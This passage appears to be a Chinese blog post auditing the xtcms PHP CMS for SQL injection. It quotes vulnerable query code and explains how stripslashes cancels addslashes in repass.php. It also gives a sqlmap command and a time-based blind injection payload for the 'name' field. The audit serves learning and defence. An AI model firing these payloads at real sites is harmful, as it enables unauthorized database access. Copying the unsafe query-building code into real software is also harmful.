类似这种的还有
ucenter/kami.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');ucenter/chongzhi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');ucenter/mingxi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
ucenter/cms_user_add.php
源码为
<?php
include('../system/inc.php');
include('cms_check.php');if ( isset($_POST['save']) ) {
null_back($_POST['u_name'],'请填写登录帐号');null_back($_POST['u_password'],'请填写登录密码');
$result = mysql_query('select * from xtcms_user where u_name = "'.$_POST['u_name'].'"');if(mysql_fetch_array($result)){alert_back('帐号重复,请输入新的帐号。');}
双引号包裹,且包含了过滤函数,因此SQL注入不存在,误报,类似这种的还有
ucenter/return_url.php
其SQL语句如下
$order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');ucenter/password.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';ucenter/reg.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');ucenter/login.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';ucenter/mingxi.php
其SQL语句如下
$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
ucenter/repass.php
源码为
<?php
include('../system/inc.php');
if(isset($_SESSION['user_name'])){
header('location:index.php');
};if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
if(!! $row = mysql_fetch_array($query)){
$_data['u_password'] = md5(123456);
$sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
if (mysql_query($sql)) {
这里的话我们看到参数name
$username = stripslashes(trim($_POST['name']));
这里引用了stripslashes
函数,而文件开头又包含inc.php
,这个文件里包含了addslashes
函数,当我们参数出现单引号这种特殊字符时,addslashes
会加上反引号,而stripslashes
会清除addslashes
函数加上的反引号,这个时候就相当于没有防护一样,所以显而易见这里是存在SQL注入的,我们可以使用bp抓包保存后,再利用sqlmap来得到数据库信息,具体payload
python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs
但很怪,我自己的没有跑出来数据
而我参考其他师傅的文章后发现他们的可以跑出来。
payload如下
name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&email=1@qq.com&password=111&submit=
类似这种的还有
ucenter/active.php
其SQL语句如下
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysql_query("select u_id from xtcms_user where u_question='$verify'");ucenter/reg.php
其内SQL语句如下
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
总结
本次CMS审计花费了很多时间,一方面因为漏洞点有点多,另一方面也是初学代码审计,不太擅长,经过此次审计后对SQL注入和XSS漏洞有了进一步的了解,也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。
参考文献
https://xz.aliyun.com/t/7711
https://xz.aliyun.com/t/11322#toc-2